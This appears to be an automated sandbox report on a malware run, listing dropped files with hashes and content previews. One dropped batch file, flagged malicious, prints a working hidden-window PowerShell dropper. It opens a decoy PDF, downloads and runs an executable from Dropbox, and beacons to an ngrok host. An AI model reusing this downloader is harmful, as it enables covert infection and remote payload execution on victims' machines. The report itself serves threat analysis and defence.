Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c5a41fba-faac-4dc8-b097-589f765011d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dd769227-c77b-47bb-9a87-6dc3d450e852.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44345
Entropy (8bit):	6.09721514952969
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5dauuKKGf4iDLo7wJJEFI2+9rOYhD7DRo+yM/42cRaLMos71:cMk1rT8H1awLfrB7VLyMV/YosB
MD5:	4535B7ABC23BE4F91F207546BFF664A7
SHA1:	14DA3F07560A7D730508B6045C159752690FB7FC
SHA-256:	683C2FC83DEF688D2E1922181915160BED18E9570A410C8D8E4745ABF151573B
SHA-512:	C940F791CE0F330E2BF046197235C31212FDD43FFE3B1401DBE396C1D9F2E4C1FACB68D0BD88702F246A47D3BD1D2FD3ABB3FA9A251376D6BC79890DEDF226E0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e5afa874-1ce1-4349-a138-6f13cb2a1485.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42733
Entropy (8bit):	6.094545700407718
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5dauuKKGf4iDwQwA9zjOrOYhD7DRo+yM/42cRaLMos71:cMk1rT8H1awyrB7VLyMV/YosB
MD5:	5C7C11C3CD48AF8936EA70EBD18F5D4C
SHA1:	FEB04050430ECDF32DE0C9F06D67F164535295D2
SHA-256:	F71D2C5090840DA97BC513F967A49ECDC2633A4AF4235F8C198F5319CEB5E580
SHA-512:	17CA5FD9B2FBE74BE04E77354B7B4523B95234DD4D65ACC5C73E6A515F39C9E06FA94AE2555B61D6E92FA641A97DE578977B5223480EB07B37DD7B24261F789E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.848865670228121
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxsxl9Il8u44hs2vdoz8W5vA0id1rc:mBYM4izr5vAQ
MD5:	D1B8D13A95F985F6E91424F55705C60F
SHA1:	9628CD5543BEFBE92FFB1C9FB123C833508F413E
SHA-256:	8DDDFFF93EFD0E3F407693E9ABFB870F89DD0D5A4E843C26B3EFA25C1A120016
SHA-512:	26E4353434A52ED85A599530B05716E140EFCF26D3164C74F3224326F58F38F7BE8C3616F2F44ECE3BD4BDB5B6878A7FE159E9DCA762E838B908E7EA8E639A74
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.E.m.Z.i.i.l.S.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.p.q.o.e.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000012720394219
Encrypted:	false
SSDEEP:	48:uiTrlKxExWTCxD9Il8uuCawsClu35HodXzaXXjbA3Tv+zdcRPo7WWbMZkO5K3DE7:CTcYURwRM5Ih4A3Tvdo7ed0q7EpaZqw
MD5:	295D84A315815D9CA39419FEFDB4E38B
SHA1:	6C351A82754A0B4C27AD9CBDD367F9811E8EB6B3
SHA-256:	B83DAA681A349A8A71DBD51E49AA6515816377F8126442829253A0F2F34A4863
SHA-512:	1E8DCA160987DE9D7D0FD42787BA7DDCA6817C968FBF7AE6670D0FEE529E890A96BEEE17E1E4B9F1E4B50A91DDE4869C2498AC605060449A6F01FCFC897BE64D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".t.Z.7.8.b.S.F.S.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.p.q.o.e.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9013127265254597
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xkxl9Il8ub5QnQwNo8JFg1ltLOMwKPE5kbSvn5+yNEL4BWd/vc:auY95QnftAtLaKPEdNEL4Bz
MD5:	CBC5ABA7C6F021294A5C8D5F7EDDD034
SHA1:	3C062A47AC0968BD7E45F9167CCA20A9A9239C9E
SHA-256:	EAE31AC96C63B4653F58A12D49EC276911D2468B157C6EF94540080F8E2B7B2D
SHA-512:	738C995A608F14170C2E1FD7E5FBCA0D00617B2488AF0E361C8BB9B84933022E1B9FD1E9860158DD6D3DEABC1D00732608C8C3C55325727D190753B9D330560E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.U.Q.O.O.O.V.w.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.p.q.o.e.m.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	61147
Entropy (8bit):	5.078058244767499
Encrypted:	false
SSDEEP:	1536:DA1+z307j1bV3CNBQkj2Uh4iUxqaVLflJnPvlOSHCqdZJfSb7OdBYNPzqtAHkwN7:01+z30n1bV3CNBQkj2UqiUqaVLflJnPo
MD5:	CAC3D4FD8DBEA030ABA96F8F780736FB
SHA1:	A521D280279A587EAB48E40FE300B74091C63E23
SHA-256:	925201D27B013B74C70BB334EFC61D2F663E600FE67DBFB102CB4C0CA1429DBB
SHA-512:	FCF98E71FAC2D3B6C963DCDF1610F18F0640A109C8FCC442A4076665377E110E44969C7C0EC61BABE191DC5DA922A033508AA438E057C6CA41B1E05D4FBE7FA1
Malicious:	false
Preview:	PSMODULECACHE.\...I.\.%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\04b6cc9e-0ff7-4406-a8c9-8661d40fa768.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\1887874022.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (780), with CRLF line terminators
Category:	dropped
Size (bytes):	797
Entropy (8bit):	5.659171564017
Encrypted:	false
SSDEEP:	24:0G/j59O3JIZd2qtE3JSWSTRwg+3V+1xLE:N/j59O62qGnSFwpEs
MD5:	7C315F42FB2D2C08F0D11BF682A4BA72
SHA1:	EE2792A4EF6018DB588B4B829FD1B92F1F7FCA24
SHA-256:	88CBC8351A7AC1D89DBED3D26F6FFE8B3D76690B6EBE5EFB33795E247D063F09
SHA-512:	835A73DF59ADE98DBEFFD3115B2BB951696558379507B2492CE273379D0D237C3AD0ED4D5BFC08A4122D2C612E5C6F980C698EDF907EDE1B01AA7AC35939A766
Malicious:	true
Preview:	@echo off..powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"..exit

C:\Users\user\AppData\Local\Temp\3eeb216b-2d6d-432a-81bd-43791c2cf46d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983991878155761
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIx:l81Lel7E6lEMVo/S01fDpWmEgr
MD5:	03E0A41C7EF64C946D818C2F5E4B7EC3
SHA1:	B3FEB76961D6A54EB9566EAC7E688BC55394B672
SHA-256:	CA2E03394F3B161D3A1E25F6A77B28EFDAB1D7989A0A1C2B6FC1764D8C27B7C7
SHA-512:	3F775790206CADE3A9CFBDCC3C081611330D525222D43085749A98D975B779109DF305799C53386E4B251D1D892735F5B4B31E6CD95475D0606BDD13BDB24001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\4a7cf66c-7275-41ec-9e54-c703849b8de1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (60635)
Category:	dropped
Size (bytes):	164548
Entropy (8bit):	5.4572305786943325
Encrypted:	false
SSDEEP:	1536:+A+1UH9HP45DLAzOFfLZ9GPG79bR12JUPBFvNEN2Uf4YvbbhQZdJcp3xB1UOBFq/:y1UH9HP45DLVZiy+MZ1c6
MD5:	E5C83936342D10C02F846974F24AC9A2
SHA1:	93F7C451587EDCC25087CB08FA5F471AA43252AB
SHA-256:	760345F6CA32766A1464081B20038DDED30078DD7D200EE001193F4BB9DB847C
SHA-512:	8759932CD3A3D4351B21C8B9A34F790D461C816DE25CEB75CEEF7198A7A52F1FC59B86B01282DB1FC3546D46F7FC54A420D1A7059FCA7C9AAC7FB2C8DE20667A
Malicious:	false
Preview:	<!DOCTYPE html>.<html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">.<head><meta charset="utf-8" />.<meta content="noindex, nofollow, noimageindex" name="robots" />.<meta content="width=device-width, initial-scale=1" name="viewport" />.<script nonce="2w4VIDXaPVxyxDXFVkry3kNMmDw=">window.EDISON_METRICS_JS_EXECUTION_START = performance.now();.</script><title>Dropbox - Error - Simplify your life</title>.<link rel="shortcut icon" href="https://cfl.dropboxstatic.com/static/metaserver/static/images/favicon.ico"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/js/comments2/index-vflQdvUHu.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/snackbar-vfl0sHK6v.css" crossorigin as="style" 